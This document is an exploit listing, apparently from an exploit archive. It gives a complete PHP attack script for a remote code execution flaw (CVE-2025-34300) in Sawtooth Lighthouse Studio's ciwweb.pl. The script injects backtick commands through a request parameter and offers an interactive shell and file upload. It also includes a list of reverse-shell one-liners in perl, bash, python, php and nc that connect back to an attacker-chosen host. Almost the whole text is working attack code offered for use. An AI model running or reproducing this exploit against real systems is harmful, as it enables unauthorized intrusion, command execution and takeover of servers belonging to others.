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## https://sploitus.com/exploit?id=PACKETSTORM:215864
=============================================================================================================================================
| # Title : Sawtooth Lighthouse Studio 9.16.14 RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://sawtoothsoftware.com |
=============================================================================================================================================
[+] Summary : CVE-2025-34300 represents a critical Remote Code Execution (RCE) vulnerability in Sawtooth Software's Lighthouse Studio survey platform, specifically affecting the ciwweb.pl web application component
[+] POC :
# Vulnerability Check
php exploit.php --url http://target.com --check
# Command Execution
php exploit.php --url http://target.com --cmd "whoami"
# Interactive Shell
php exploit.php --url http://target.com --shell
# Reverse Shell
php exploit.php --url http://target.com --reverse --lhost YOUR_IP --lport 4444
<?php
class CVE_2025_34300_Exploit {
private $target_url;
private $timeout = 30;
private $proxy = null;
public function __construct($target_url) {
$this->target_url = rtrim($target_url, '/');
}
public function setProxy($proxy) {
$this->proxy = $proxy;
}
public function check() {
echo "[*] Checking target: {$this->target_url}\n";
$params = [
'hid_javascript' => '1'
];
$response = $this->sendRequest('/cgi-bin/ciwweb.pl', $params);
if (!$response) {
echo "[-] No response from target\n";
return false;
}
if (preg_match('/Lighthouse Studio (\d+_\d+_\d+)/', $response, $matches)) {
$version_str = str_replace('_', '.', $matches[1]);
echo "[+] Extracted version: {$version_str}\n";
if (version_compare($version_str, '9.16.14', '<')) {
echo "[+] Target appears to be vulnerable!\n";
return true;
} else {
echo "[-] Target is patched (version >= 9.16.14)\n";
return false;
}
}
if (strpos($response, 'Lighthouse Studio') !== false) {
echo "[+] Lighthouse Studio detected (version extraction failed)\n";
return true;
}
echo "[-] Lighthouse Studio not detected\n";
return false;
}
public function executeCommand($command) {
echo "[*] Attempting to execute command: {$command}\n";
$encoded_cmd = urlencode($command);
$params = [
'hid_javascript' => '1',
'hid_Random_ACARAT' => '[%`' . $command . '`%]'
];
$response = $this->sendRequest('/cgi-bin/ciwweb.pl', $params);
if (!$response) {
echo "[-] No response received\n";
return null;
}
if (preg_match('/\[\%`(.*?)`\%\]/s', $response, $matches)) {
$output = $matches[1];
echo "[+] Command output:\n";
echo $output . "\n";
return $output;
}
echo "[-] No command output found in response\n";
if (strpos($response, 'Cannot find the study name') !== false) {
echo "[-] Invalid STUDYNAME parameter\n";
}
return null;
}
public function reverseShell($lhost, $lport) {
$payloads = [
'perl' => "perl -e 'use Socket;\$i=\"$lhost\";\$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
'bash' => "bash -c 'bash -i >& /dev/tcp/$lhost/$lport 0>&1'",
'python' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$lhost\",$lport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
'php' => "php -r '\$sock=fsockopen(\"$lhost\",$lport);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
'nc' => "nc -e /bin/sh $lhost $lport || nc -c sh $lhost $lport || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $lhost $lport >/tmp/f"
];
echo "[*] Available reverse shell payloads:\n";
foreach (array_keys($payloads) as $i => $type) {
echo " [{$i}] {$type}\n";
}
echo "Select payload type: ";
$choice = trim(fgets(STDIN));
$types = array_keys($payloads);
if (isset($types[$choice])) {
$type = $types[$choice];
$cmd = $payloads[$type];
echo "[*] Using {$type} reverse shell\n";
return $this->executeCommand($cmd);
}
return null;
}
public function uploadFile($local_file, $remote_path) {
if (!file_exists($local_file)) {
echo "[-] Local file not found: {$local_file}\n";
return false;
}
$content = file_get_contents($local_file);
$encoded = base64_encode($content);
$commands = [
'linux' => "echo '{$encoded}' | base64 -d > {$remote_path} && chmod +x {$remote_path}",
'windows' => "powershell -Command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{$encoded}')) | Out-File -FilePath '{$remote_path}'\""
];
echo "[*] Attempting Linux file upload...\n";
$result = $this->executeCommand($commands['linux']);
if ($result === null) {
echo "[*] Attempting Windows file upload...\n";
$result = $this->executeCommand($commands['windows']);
}
return $result !== null;
}
private function sendRequest($path, $params = []) {
$url = $this->target_url . $path;
if (!empty($params)) {
$url .= '?' . http_build_query($params);
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
if ($this->proxy) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo "[-] cURL error: " . curl_error($ch) . "\n";
curl_close($ch);
return false;
}
curl_close($ch);
if ($http_code != 200) {
echo "[-] HTTP {$http_code} received\n";
return false;
}
return $response;
}
public function interactiveShell() {
if (!$this->check()) {
echo "[-] Target not vulnerable or check failed\n";
return;
}
echo "[*] Starting interactive shell (type 'exit' to quit)\n";
while (true) {
echo "cmd> ";
$cmd = trim(fgets(STDIN));
if (empty($cmd)) {
continue;
}
if (strtolower($cmd) == 'exit' || strtolower($cmd) == 'quit') {
break;
}
$this->executeCommand($cmd);
}
}
}
function showHelp() {
echo "by indoushka Exploit - Sawtooth Lighthouse Studio RCE\n";
echo "Usage:\n";
echo " php exploit.php --check --url http://target.com\n";
echo " php exploit.php --cmd \"whoami\" --url http://target.com\n";
echo " php exploit.php --shell --url http://target.com\n";
echo " php exploit.php --reverse --lhost 1.2.3.4 --lport 4444 --url http://target.com\n";
echo "\nOptions:\n";
echo " --url Target URL (required)\n";
echo " --check Check if vulnerable\n";
echo " --cmd Execute single command\n";
echo " --shell Start interactive shell\n";
echo " --reverse Start reverse shell\n";
echo " --lhost Listener IP for reverse shell\n";
echo " --lport Listener port for reverse shell\n";
echo " --proxy HTTP proxy (optional)\n";
echo " --upload Upload file: --upload local.txt,/remote/path.txt\n";
}
if (php_sapi_name() === 'cli') {
$options = getopt('', [
'url:',
'check',
'cmd:',
'shell',
'reverse',
'lhost:',
'lport:',
'proxy:',
'upload:',
'help'
]);
if (isset($options['help']) || !isset($options['url'])) {
showHelp();
exit();
}
$exploit = new CVE_2025_34300_Exploit($options['url']);
if (isset($options['proxy'])) {
$exploit->setProxy($options['proxy']);
}
if (isset($options['check'])) {
$exploit->check();
} elseif (isset($options['cmd'])) {
$exploit->check();
$exploit->executeCommand($options['cmd']);
} elseif (isset($options['shell'])) {
$exploit->interactiveShell();
} elseif (isset($options['reverse'])) {
if (!isset($options['lhost']) || !isset($options['lport'])) {
echo "[-] --lhost and --lport required for reverse shell\n";
exit(1);
}
$exploit->check();
$exploit->reverseShell($options['lhost'], $options['lport']);
} elseif (isset($options['upload'])) {
list($local, $remote) = explode(',', $options['upload'], 2);
$exploit->check();
$exploit->uploadFile($local, $remote);
}
} else {
echo "This script is designed for command line use.\n";
showHelp();
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================